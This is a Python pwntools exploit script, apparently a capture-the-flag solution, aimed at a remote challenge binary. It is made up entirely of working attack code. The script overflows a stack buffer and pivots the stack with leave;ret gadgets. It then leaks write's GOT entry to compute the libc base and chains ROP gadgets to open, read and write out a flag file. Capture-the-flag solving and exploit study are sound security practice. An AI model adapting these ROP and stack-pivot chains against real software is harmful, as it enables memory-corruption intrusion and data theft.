1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import * context.log_level ="debug" p = remote("node1.hgame.vidar.club",32351) e = ELF("./vuln") libc = ELF("./libc-2.31.so") write_plt = e.plt['write'] write_got = e.got['write'] writable_addr = 0x404154 read_ret = 0x40140f pop_rdi = 0x401713 pop_rsi_r15 = 0x401711 leave_ret = 0x401425 print("plt:",hex(write_plt)) print("got:",hex(write_got)) pause() payload = b'a' * 80 + p64(writable_addr) + p64(read_ret) p.sendafter("Good luck.",payload) pause() payload = flat({ 0x00: [ p64(writable_addr), p64(pop_rdi), p64(0x4), p64(pop_rsi_r15), p64(write_got),p64(0), p64(write_plt), p64(read_ret), p64(leave_ret), ], 0x50: [ p64(writable_addr-0x50), p64(leave_ret), ] }) p.send(payload) write_address = u64(p.recvuntil('\x00\x00',drop=True)[-6:].ljust(8, b'\x00')) libc_base = write_address - 0x10e280 log.info(hex(libc_base)) pop_rdx_r12 = libc_base + 0x119431 pop_rsi = libc_base + 0x2601f _read= libc_base + libc.symbols["read"] _open= libc_base + libc.symbols["open"] _write= libc_base + libc.symbols["write"] payload = flat({ 0x00: [ p64(0x404154+0xd0), p64(pop_rsi), p64(0x404154), p64(pop_rdx_r12), p64(0x200),p64(0), p64(_read), p64(leave_ret), p64(leave_ret), ], 0x50: [ p64(writable_addr-0x50), p64(leave_ret), ] }) pause() p.send(payload) payload = flat({ 0x00: [ p64(0xc0ffee), p64(pop_rdi), p64(0x404154+0xe0), p64(pop_rsi), p64(0), p64(pop_rdx_r12), p64(0),p64(0), p64(_open), p64(pop_rdi), p64(0x5), p64(pop_rsi), p64(0x404154+0xe0), p64(pop_rdx_r12), p64(0x100),p64(0), p64(_read), p64(pop_rdi), p64(0x4), p64(pop_rsi), p64(0x404154+0xe0), p64(pop_rdx_r12), p64(0x30),p64(0), p64(_write), ], 0xd0: [ p64(0x404154), p64(leave_ret), ], 0xe0: [ b'./flag\x00', ] }) pause() p.send(payload) p.interactive()
|